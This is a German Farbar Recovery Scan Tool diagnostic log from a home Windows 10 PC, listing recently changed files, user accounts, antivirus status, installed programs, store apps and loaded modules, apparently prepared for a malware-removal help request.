2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth18.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth17.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth16.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth15.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth12.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth11.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth10.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth1.bin
2021-01-14 20:21 - 2021-01-14 20:21 - 002590720 _____ C:\WINDOWS\system32\dwmscene.dll
2021-01-14 20:21 - 2021-01-14 20:21 - 001841152 _____ C:\WINDOWS\system32\TextInputMethodFormatter.dll
2021-01-14 20:21 - 2021-01-14 20:21 - 000549888 _____ (Microsoft Corporation) C:\WINDOWS\system32\mmsys.cpl
2021-01-14 20:21 - 2021-01-14 20:21 - 000415744 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\winspool.drv
2021-01-14 20:21 - 2021-01-14 20:21 - 000331264 _____ C:\WINDOWS\SysWOW64\ssdm.dll
2021-01-14 20:21 - 2021-01-14 20:21 - 000266752 _____ C:\WINDOWS\system32\HeatCore.dll
2021-01-14 20:21 - 2021-01-14 20:21 - 000208896 _____ (Microsoft Corporation) C:\WINDOWS\system32\intl.cpl
2021-01-14 20:21 - 2021-01-14 20:21 - 000208384 _____ C:\WINDOWS\SysWOW64\HeatCore.dll
2021-01-14 20:21 - 2021-01-14 20:21 - 000186368 _____ C:\WINDOWS\system32\BthpanContextHandler.dll
2021-01-14 20:21 - 2021-01-14 20:21 - 000184320 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\timedate.cpl
2021-01-14 20:20 - 2021-01-14 20:20 - 000540672 _____ (Microsoft Corporation) C:\WINDOWS\system32\winspool.drv
2021-01-14 20:20 - 2021-01-14 20:20 - 000453632 _____ C:\WINDOWS\system32\ssdm.dll
2021-01-14 20:20 - 2021-01-14 20:20 - 000235520 _____ (Microsoft Corporation) C:\WINDOWS\system32\timedate.cpl
2021-01-14 20:20 - 2021-01-14 20:20 - 000164864 _____ C:\WINDOWS\system32\DataStoreCacheDumpTool.exe
2021-01-14 20:20 - 2021-01-14 20:20 - 000061440 _____ C:\WINDOWS\system32\rdsxvmaudio.dll
2021-01-13 13:32 - 2021-01-13 13:32 - 000002383 _____ C:\Users\nadin\Downloads\musterwiderruf.html
2021-01-09 14:05 - 2021-01-09 14:05 - 001754612 _____ C:\WINDOWS\SysWOW64\PerfStringBackup.INI

==================== Ein Monat (geänderte) ==================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2021-02-08 20:04 - 2020-07-21 14:32 - 000003700 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA
2021-02-08 20:04 - 2020-07-21 14:32 - 000003576 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore
2021-02-08 20:02 - 2017-06-30 18:54 - 000000000 ___RD C:\Users\nadin\OneDrive
2021-02-07 21:35 - 2019-03-19 05:50 - 000000000 ____D C:\WINDOWS\INF
2021-02-07 20:14 - 2019-03-19 05:52 - 000000000 ___HD C:\Program Files\WindowsApps
2021-02-07 20:14 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\AppReadiness
2021-02-07 20:13 - 2019-08-11 18:58 - 000004172 _____ C:\WINDOWS\system32\Tasks\User_Feed_Synchronization-{A969D6BC-CDE6-46A3-B881-50FB54BD55AD}
2021-02-05 15:40 - 2019-08-11 18:58 - 000003630 _____ C:\WINDOWS\system32\Tasks\GoogleUpdateTaskMachineUA
2021-02-05 15:40 - 2019-08-11 18:58 - 000003506 _____ C:\WINDOWS\system32\Tasks\GoogleUpdateTaskMachineCore
2021-02-05 15:39 - 2019-08-11 18:47 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2021-02-04 17:49 - 2019-08-11 18:58 - 001732064 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2021-02-04 17:49 - 2019-03-19 13:16 - 000748818 _____ C:\WINDOWS\system32\perfh007.dat
2021-02-04 17:49 - 2019-03-19 13:16 - 000151550 _____ C:\WINDOWS\system32\perfc007.dat
2021-02-04 17:45 - 2019-08-11 18:58 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2021-02-04 17:45 - 2019-03-19 05:37 - 001310720 _____ C:\WINDOWS\system32\config\BBI
2021-02-04 17:45 - 2017-08-11 16:06 - 000041448 _____ C:\WINDOWS\system32\OV8865_REAR.aiqd
2021-02-04 17:45 - 2017-06-30 19:41 - 000041448 _____ C:\WINDOWS\system32\OV7251_FRONT.aiqd
2021-02-04 17:45 - 2017-06-30 19:41 - 000041448 _____ C:\WINDOWS\system32\OV5693_FRONT.aiqd
2021-02-02 18:14 - 2016-12-09 02:16 - 000000000 ____D C:\Program Files (x86)\Microsoft Office
2021-02-02 17:55 - 2019-08-11 18:58 - 000003380 _____ C:\WINDOWS\system32\Tasks\OneDrive Standalone Update Task-S-1-5-21-1646496009-4099916810-2609688387-1001
2021-02-02 17:55 - 2019-08-11 18:50 - 000002393 ____C C:\Users\nadin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2021-02-01 17:57 - 2017-07-11 13:21 - 000000000 ___DC C:\Users\nadin\AppData\Roaming\com.silhouettesoftware
2021-02-01 17:57 - 2017-07-11 13:21 - 000000000 ___DC C:\Users\nadin\AppData\Roaming\com.aspexsoftware.Silhouette_Studio
2021-02-01 16:17 - 2017-08-01 14:12 - 000000000 ___DC C:\Users\nadin\AppData\Local\ElevatedDiagnostics
2021-02-01 16:15 - 2019-03-19 05:37 - 000000000 ____D C:\WINDOWS\servicing
2021-02-01 16:15 - 2019-03-19 05:37 - 000000000 ____D C:\WINDOWS\CbsTemp
2021-01-31 10:34 - 2017-07-04 12:51 - 000000000 ____D C:\Users\nadin\.gimp-2.8
2021-01-31 10:15 - 2017-11-08 21:19 - 000000000 ___DC C:\Users\nadin\AppData\Local\Packages
2021-01-30 18:10 - 2017-11-09 15:50 - 000000000 ___DC C:\Users\nadin\AppData\Local\PlaceholderTileLogoFolder
2021-01-28 17:01 - 2019-07-07 20:58 - 000013234 _____ C:\Users\nadin\Documents\ETF-07.07.79.xlsx
2021-01-25 15:45 - 2017-09-03 16:02 - 000000000 ___DC C:\Users\nadin\AppData\Local\gtk-2.0
2021-01-24 21:37 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\LiveKernelReports
2021-01-23 15:20 - 2017-06-30 20:11 - 000799104 ____N (Microsoft Corporation) C:\WINDOWS\system32\MpSigStub.exe
2021-01-21 17:32 - 2017-09-19 14:12 - 000000000 __RDC C:\Users\nadin\Documents\Scanned Documents
2021-01-20 16:42 - 2019-08-11 18:50 - 000000000 ____D C:\Users\nadin
2021-01-20 16:39 - 2019-04-06 15:33 - 000000000 ___DC C:\Users\nadin\Documents\Consors
2021-01-17 17:50 - 2019-08-11 18:47 - 000517776 _____ C:\WINDOWS\system32\FNTCACHE.DAT
2021-01-17 17:50 - 2019-06-24 16:59 - 000000666 _____ C:\WINDOWS\Tasks\G2MUploadTask-S-1-5-21-1646496009-4099916810-2609688387-1001.job
2021-01-17 17:50 - 2019-06-24 16:59 - 000000570 _____ C:\WINDOWS\Tasks\G2MUpdateTask-S-1-5-21-1646496009-4099916810-2609688387-1001.job
2021-01-17 17:50 - 2017-11-08 21:34 - 000000000 ___RD C:\Users\nadin\3D Objects
2021-01-17 17:48 - 2019-03-19 13:19 - 000000000 ____D C:\Program Files\Windows Photo Viewer
2021-01-17 17:48 - 2019-03-19 13:19 - 000000000 ____D C:\Program Files\Windows Defender Advanced Threat Protection
2021-01-17 17:48 - 2019-03-19 13:19 - 000000000 ____D C:\Program Files (x86)\Windows Photo Viewer
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ___SD C:\WINDOWS\SysWOW64\F12
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ___SD C:\WINDOWS\SysWOW64\DiagSvcs
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ___SD C:\WINDOWS\system32\UNP
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ___SD C:\WINDOWS\system32\F12
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ___SD C:\WINDOWS\system32\DiagSvcs
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ___RD C:\WINDOWS\PrintDialog
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\SysWOW64\setup
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\SysWOW64\PerceptionSimulation
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\SysWOW64\Dism
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\SysWOW64\Com
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\SysWOW64\AdvancedInstallers
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\SystemResources
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\WinBioPlugIns
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\SystemResetPlatform
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\setup
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\PerceptionSimulation
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\oobe
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\migwiz
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\Dism
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\Com
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\system32\AdvancedInstallers
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\ShellExperiences
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\ShellComponents
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\Provisioning
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\PolicyDefinitions
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\IME
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\WINDOWS\bcastdvr
2021-01-17 17:48 - 2019-03-19 05:52 - 000000000 ____D C:\Program Files\Windows Defender
2021-01-14 20:28 - 2017-06-30 20:07 - 000000000 ____D C:\WINDOWS\system32\MRT
2021-01-14 20:26 - 2017-06-30 20:07 - 135062968 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
2021-01-14 20:20 - 2019-08-11 18:48 - 002877952 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PrintConfig.dll

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse ========

2017-07-11 13:22 - 2017-07-11 13:22 - 000000008 ____C () C:\Users\nadin\AppData\Roaming\com.silhouettesoftware.id
2021-02-03 17:44 - 2021-02-03 17:44 - 000007261 _____ () C:\Users\nadin\AppData\Local\recently-used.xbel

==================== SigCheck ============================

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)

==================== Ende von FRST.txt ========================
         

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 08-02-2021 01
durchgeführt von nadin (08-02-2021 20:31:56)
Gestartet von C:\Users\nadin\Downloads
Windows 10 Pro Version 1909 18363.1316 (X64) (2019-08-11 17:58:43)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Admin Biene (S-1-5-21-1646496009-4099916810-2609688387-500 - Administrator - Disabled)
Biene (S-1-5-21-1646496009-4099916810-2609688387-1001 - Administrator - Enabled) => C:\Users\nadin
DefaultAccount (S-1-5-21-1646496009-4099916810-2609688387-503 - Limited - Disabled)
Gast (S-1-5-21-1646496009-4099916810-2609688387-501 - Limited - Disabled)
nikor (S-1-5-21-1646496009-4099916810-2609688387-1004 - Limited - Enabled) => C:\Users\nikor
WDAGUtilityAccount (S-1-5-21-1646496009-4099916810-2609688387-504 - Limited - Disabled)

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Avira Antivirus (Enabled - Up to date) {33CF8AA2-FA06-4AD4-98AB-332D53DD7FFB}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

ABC der Tiere 1 2.1 (HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\ABC der Tiere 1 2.1 2.1.2) (Version: 2.1.2 - Mildenberger)
ABC der Tiere 2 2.1 (HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\ABC der Tiere 2 2.1 2.1.2019) (Version: 2.1.2019 - Mildenberger Verlag GmbH)
ABC der Tiere 2 Spiele 2.1 (HKLM-x32\...\{0D45691F-9EED-A204-8B85-91FCC7E921F3}) (Version: 2.1 - Mildenberger Verlag GmbH) Hidden
ABC der Tiere 2 Spiele 2.1 (HKLM-x32\...\com.mildenberger.abdeti2v2.1) (Version: 2.1 - Mildenberger Verlag GmbH)
ABC der Tiere Spiele (HKLM-x32\...\{08E4A8A3-7544-77CF-3620-DD688918EE91}) (Version: 1.2 - UNKNOWN) Hidden
ABC der Tiere Spiele (HKLM-x32\...\com.mildenberger.abdeti1v2.1) (Version: 1.2 - UNKNOWN)
Adobe Acrobat Reader DC - Deutsch (HKLM-x32\...\{AC76BA86-7AD7-1031-7B44-AC0F074E4100}) (Version: 20.013.20074 - Adobe Systems Incorporated)
Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 32.0.0.89 - Adobe Systems Incorporated)
Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.)
D3DX10 (HKLM-x32\...\{E09C4DB7-630C-4F06-A631-8EA7239923AF}) (Version: 15.4.2368.0902 - Microsoft) Hidden
dm-Fotowelt (HKLM-x32\...\dm-Fotowelt) (Version: 7.0.3 - CEWE Stiftung u Co. KGaA)
EG*Lighthouse 1 e-Workbook (HKLM-x32\...\{C4ED4438-47D6-43A7-A79D-782D8EEED277}) (Version: 1.0.4.0 - Cornelsen Verlag)
Fotogalerie (HKLM-x32\...\{41BF4A3B-D60A-4E92-883F-C88C8C157261}) (Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
GIMP 2.8.22 (HKLM\...\GIMP-2_is1) (Version: 2.8.22 - The GIMP Team)
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 88.0.4324.146 - Google LLC)
GoTo Opener (HKLM-x32\...\{C2A61D74-BB65-42AD-B81F-AC25E1F7DE02}) (Version: 1.0.536 - LogMeIn, Inc.)
GoToMeeting 10.15.0.19228 (HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\GoToMeeting) (Version: 10.15.0.19228 - LogMeIn, Inc.)
HiSuite (HKLM-x32\...\Hi Suite) (Version: 11.0.0.500 - Huawei Technologies Co., Ltd.)
HP Dropbox Plugin (HKLM-x32\...\{737B7969-CE8E-47B0-98A4-2599F53B3B03}) (Version: 40.13.54.81239 - HP)
HP Google Drive Plugin (HKLM-x32\...\{815D86A1-06B8-451D-9736-BE52D6A06DBD}) (Version: 40.13.54.81239 - HP)
HP OfficeJet Pro 6960 - Grundlegende Software für das Gerät (HKLM\...\{71EE02FC-F83B-4767-9973-F6957D989A74}) (Version: 40.11.1150.17184 - HP Inc.)
HP OfficeJet Pro 6960 - Grundlegende Software für das Gerät (HKLM\...\{C6ED2A09-F857-4D2F-9975-8A1556394205}) (Version: 40.14.1194.20346 - HP Inc.)
I.R.I.S. OCR (HKLM-x32\...\{91CED651-2247-4652-98DB-544C852F5AA1}) (Version: 12.4.12.0 - HP)
Inkscape 0.92.3 (HKLM-x32\...\Inkscape) (Version: 0.92.3 - Inkscape Project)
Java 8 Update 101 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180101F0}) (Version: 8.0.1010.13 - Oracle Corporation)
Junk Mail filter update (HKLM-x32\...\{0BE9E708-5DC0-4963-9CFD-0AA519090E79}) (Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Lightworks (HKLM-x32\...\{E94DD4E4-7746-472c-AA7B-1242FED0CFC8}) (Version: 14.5.0.0 - EditShare)
Mein CEWE FOTOBUCH (HKLM-x32\...\Mein CEWE FOTOBUCH) (Version: 7.1.2 - CEWE Stiftung u Co. KGaA)
Microsoft 365 - de-de (HKLM\...\O365HomePremRetail - de-de) (Version: 16.0.13628.20274 - Microsoft Corporation)
Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 88.0.705.63 - Microsoft Corporation)
Microsoft Edge Update (HKLM-x32\...\Microsoft Edge Update) (Version: 1.3.141.59 - )
Microsoft Office Professional Plus 2016 - de-de (HKLM\...\ProPlusRetail - de-de) (Version: 16.0.13628.20274 - Microsoft Corporation)
Microsoft OneDrive (HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\OneDriveSetup.exe) (Version: 21.002.0104.0005 - Microsoft Corporation)
Microsoft OneDrive (HKU\S-1-5-21-1646496009-4099916810-2609688387-1004\...\OneDriveSetup.exe) (Version: 19.232.1124.0010 - Microsoft Corporation)
Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM-x32\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)
Microsoft SQL Server Compact 3.5 SP2 ENU (HKLM-x32\...\{3A9FC03D-C685-4831-94CF-4EDFD3749497}) (Version: 3.5.8080.0 - Microsoft Corporation)
Microsoft SQL Server Compact 3.5 SP2 x64 ENU (HKLM\...\{D4AD39AD-091E-4D33-BB2B-59F6FCB8ADC3}) (Version: 3.5.8080.0 - Microsoft Corporation)
Microsoft Update Health Tools (HKLM\...\{0BCA8FBE-0C1C-4C65-98A3-5D34AAF41737}) (Version: 2.70.0.0 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24212 (HKLM-x32\...\{323dad84-0974-4d90-a1c1-e006c7fdbb7d}) (Version: 14.0.24212.0 - Microsoft Corporation)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.23.27820 (HKLM-x32\...\{45231ab4-69fd-486a-859d-7a59fcd11013}) (Version: 14.23.27820.0 - Microsoft Corporation)
Movie Maker (HKLM-x32\...\{70C91B91-61E8-4D06-86D6-A9DCC291983A}) (Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Movie Maker (HKLM-x32\...\{DD67BE4B-7E62-4215-AFA3-F123A800A389}) (Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Extensibility Component (HKLM-x32\...\{90160000-008C-0000-0000-0000000FF1CE}) (Version: 16.0.13628.20274 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Extensibility Component 64-bit Registration (HKLM\...\{90160000-00DD-0000-1000-0000000FF1CE}) (Version: 16.0.13628.20274 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Licensing Component (HKLM\...\{90160000-008F-0000-1000-0000000FF1CE}) (Version: 16.0.13628.20274 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Localization Component (HKLM-x32\...\{90160000-008C-0407-0000-0000000FF1CE}) (Version: 16.0.13628.20274 - Microsoft Corporation) Hidden
PDF24 Creator 9.2.2 (HKLM-x32\...\{81A6F461-0DBA-4F12-B56F-0E977EC10576}_is1) (Version: 9.2.2 - PDF24.org)
PHOTOfunSTUDIO 9.2 PE (HKLM-x32\...\{76EF0557-943F-4EFD-BB83-4324F204BCA0}) (Version: 9.02.709 - Panasonic Corporation)
roomeon 3D-Planer (HKLM-x32\...\{E94EF5B3-85D9-40C0-97DB-FA2BB29814E5}) (Version: 1.6.2 - roomeon GmbH)
Scratch Desktop 1.2.1 (HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\bad79d23-e888-5a7b-9e99-60ee89b6c8bf) (Version: 1.2.1 - Massachusetts Institute of Technology)
Silhouette Link (HKLM-x32\...\{C2136C80-F9D4-4096-86D4-C641BB36DFF3}) (Version: 1.0.096 - Silhouette America)
Silhouette Studio (HKLM-x32\...\{CF7A6E30-CCCA-4831-85A9-D6AF1BFDAD43}) (Version: 4.0.837 - Silhouette America)
SILKYPIX Developer Studio 3.1 SE (HKLM-x32\...\{0A04086B-0B71-43C3-95EF-FDFC4C18D161}) (Version: 3 - Ichikawa Soft Laboratory) Hidden
SILKYPIX Developer Studio 3.1 SE (HKLM-x32\...\InstallShield_{0A04086B-0B71-43C3-95EF-FDFC4C18D161}) (Version: 3 - Ichikawa Soft Laboratory)
sv.net comfort (HKLM\...\{B8E40DB3-6E85-4C36-8731-12277891CBFA}) (Version: 18.0.0 - ITSG) Hidden
sv.net comfort (HKLM-x32\...\sv.net comfort) (Version: 18.0.0 - ITSG GmbH)
Sweet Home 3D version 6.3 (HKLM\...\Sweet Home 3D_is1) (Version: 6.3 - eTeks)
tiptoi® Manager 4.2 (HKLM\...\{833392BB-E8C0-4066-9408-3A30FA43972F}_is1) (Version: 4.2 - Ravensburger AG)
Update for Windows 10 for x64-based Systems (KB4023057) (HKLM\...\{16AD6161-2E47-4BF1-AA77-0946EFE93E08}) (Version: 2.61.0.0 - Microsoft Corporation)
VLC media player (HKLM\...\VLC media player) (Version: 3.0.4 - VideoLAN)
Windows 10-Upgrade-Assistent (HKLM-x32\...\{D5C69738-B486-402E-85AC-2456D98A64E4}) (Version: 1.4.9200.22175 - Microsoft Corporation)
Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 16.4.3528.0331 - Microsoft Corporation)
WISO steuer:Sparbuch 2018 (HKLM-x32\...\{615A3C11-80B3-4DF6-A091-9EA9A3AF0BA2}) (Version: 25.03.1550 - Buhl Data Service GmbH)
WISO steuer:Sparbuch 2019 (HKLM-x32\...\{5E268D1F-6FE6-4DC7-8F68-143CE272457B}) (Version: 26.04.1771 - Buhl Data Service GmbH)
WISO steuer:Sparbuch 2020 (HKLM-x32\...\{A6688524-8B6A-4337-AEBE-EBCF2FFEC7C8}) (Version: 27.03.1674 - Buhl Data Service GmbH)
Zoom (HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\ZoomUMX) (Version: 5.3.2 (53291.1011) - Zoom Video Communications, Inc.)

Packages:
=========
Collage Maker - Photo Grid & Montage -> C:\Program Files\WindowsApps\35450PhotoCoolApps.CollageMaker-PhotoGridMontage_1.2.22.0_x64__61cxy7b35vdsg [2020-10-16] (Photo Cool Apps)
Community Showcase Natural Landscapes 2 -> C:\Program Files\WindowsApps\Microsoft.CommunityShowcaseNaturalLandscapes2_1.0.0.0_neutral__8wekyb3d8bbwe [2017-07-01] (Microsoft Corporation)
Facebook -> C:\Program Files\WindowsApps\Facebook.Facebook_186.2619.19263.0_x86__8xx8rvfyw5nnt [2019-10-10] (Facebook Inc)
Fotos-Add-On -> C:\Program Files\WindowsApps\Microsoft.Windows.Photos.DLC.Main_2017.39121.36610.0_x64__8wekyb3d8bbwe [2018-09-13] (Microsoft Corporation)
Fresh Paint -> C:\Program Files\WindowsApps\Microsoft.FreshPaint_3.1.10383.1000_x86__8wekyb3d8bbwe [2019-06-20] (Microsoft Corporation)
HP Smart -> C:\Program Files\WindowsApps\AD2F1837.HPPrinterControl_122.2.830.0_x64__v10z8vjag6ke6 [2021-02-07] (HP Inc.)
Instagram -> C:\Program Files\WindowsApps\Facebook.InstagramBeta_42.0.2.0_neutral__8xx8rvfyw5nnt [2020-02-29] (Instagram)
Keeper - Password Manager & Secure File Storage -> C:\Program Files\WindowsApps\KeeperSecurityInc.Keeper_14.0.33.0_x64__kejf07qmg0jnm [2019-08-11] (Keeper Security Inc)
Media Engine-Add-On für Fotos -> C:\Program Files\WindowsApps\Microsoft.Photos.MediaEngineDLC_1.0.0.0_x64__8wekyb3d8bbwe [2020-01-02] (Microsoft Corporation)
Messenger -> C:\Program Files\WindowsApps\FACEBOOK.317180B0BB486_880.7.120.0_x64__8xx8rvfyw5nnt [2021-02-03] (Facebook Inc) [Startup Task]
Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1808.3.0_x64__8wekyb3d8bbwe [2019-08-11] (Microsoft Corporation) [MS Ad]
Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x64__8wekyb3d8bbwe [2019-01-17] (Microsoft Corporation) [MS Ad]
Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x86__8wekyb3d8bbwe [2019-01-17] (Microsoft Corporation) [MS Ad]
Microsoft Solitaire Collection -> C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.9.1252.0_x64__8wekyb3d8bbwe [2021-02-02] (Microsoft Studios) [MS Ad]
Minecraft for Windows 10 -> C:\Program Files\WindowsApps\Microsoft.MinecraftUWP_1.16.20102.0_x64__8wekyb3d8bbwe [2020-12-19] (Microsoft Studios)
One Calendar -> C:\Program Files\WindowsApps\64885BlueEdge.OneCalendar_2020.1031.1.0_x64__8kea50m9krsh2 [2020-12-03] (Code Spark)
Royal Revolt 2 -> C:\Program Files\WindowsApps\flaregamesGmbH.RoyalRevolt2_6.4.0.0_x86__g0q0z3kw54rap [2020-12-10] (flaregames GmbH)
Sparkasse -> C:\Program Files\WindowsApps\StarFinanz-Softwareentwic.Sparkasse_1.6.0.12778_x86__t7kd0wtx7cfwe [2018-01-05] (Star Finanz Software Entwicklung und Vertriebs)
Surface -> C:\Program Files\WindowsApps\Microsoft.SurfaceHub_48.612.139.0_x64__8wekyb3d8bbwe [2021-01-31] (Microsoft Corporation)
Xbox One SmartGlass -> C:\Program Files\WindowsApps\Microsoft.XboxOneSmartGlass_2.2.1702.2004_x64__8wekyb3d8bbwe [2018-10-04] (Microsoft Corporation)
XING -> C:\Program Files\WindowsApps\XINGAG.XING_4.0.7.0_x86__xpfg3f7e9an52 [2021-01-21] (New Work SE)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-1646496009-4099916810-2609688387-1001_Classes\CLSID\{84B5A313-CD5D-4904-8BA2-AFDC81C1B309}\InprocServer32 -> C:\Users\nadin\AppData\Local\GoToMeeting\18962\G2MOutlookAddin64.dll (LogMeIn, Inc. -> LogMeIn, Inc.)
ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} =>  -> Keine Datei

==================== Codecs (Nicht auf der Ausnahmeliste) ====================

==================== Verknüpfungen & WMI ========================

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)

ShortcutWithArgument: C:\Users\nadin\Desktop\Nadine - Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google LLC) -> --profile-directory="Profile 1"
ShortcutWithArgument: C:\Users\nadin\Desktop\Profil 1 - Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google LLC) -> --profile-directory="Default"

==================== Geladene Module (Nicht auf der Ausnahmeliste) =============

2020-04-19 09:09 - 2020-04-19 09:09 - 000000000 ____L (Microsoft Corporation) C:\Program Files (x86)\Microsoft Office\root\Office16\AppVIsvSubsystems32.dll
2020-04-19 09:09 - 2020-04-19 09:09 - 000000000 ____L (Microsoft Corporation) C:\Program Files (x86)\Microsoft Office\root\Office16\c2r32.dll

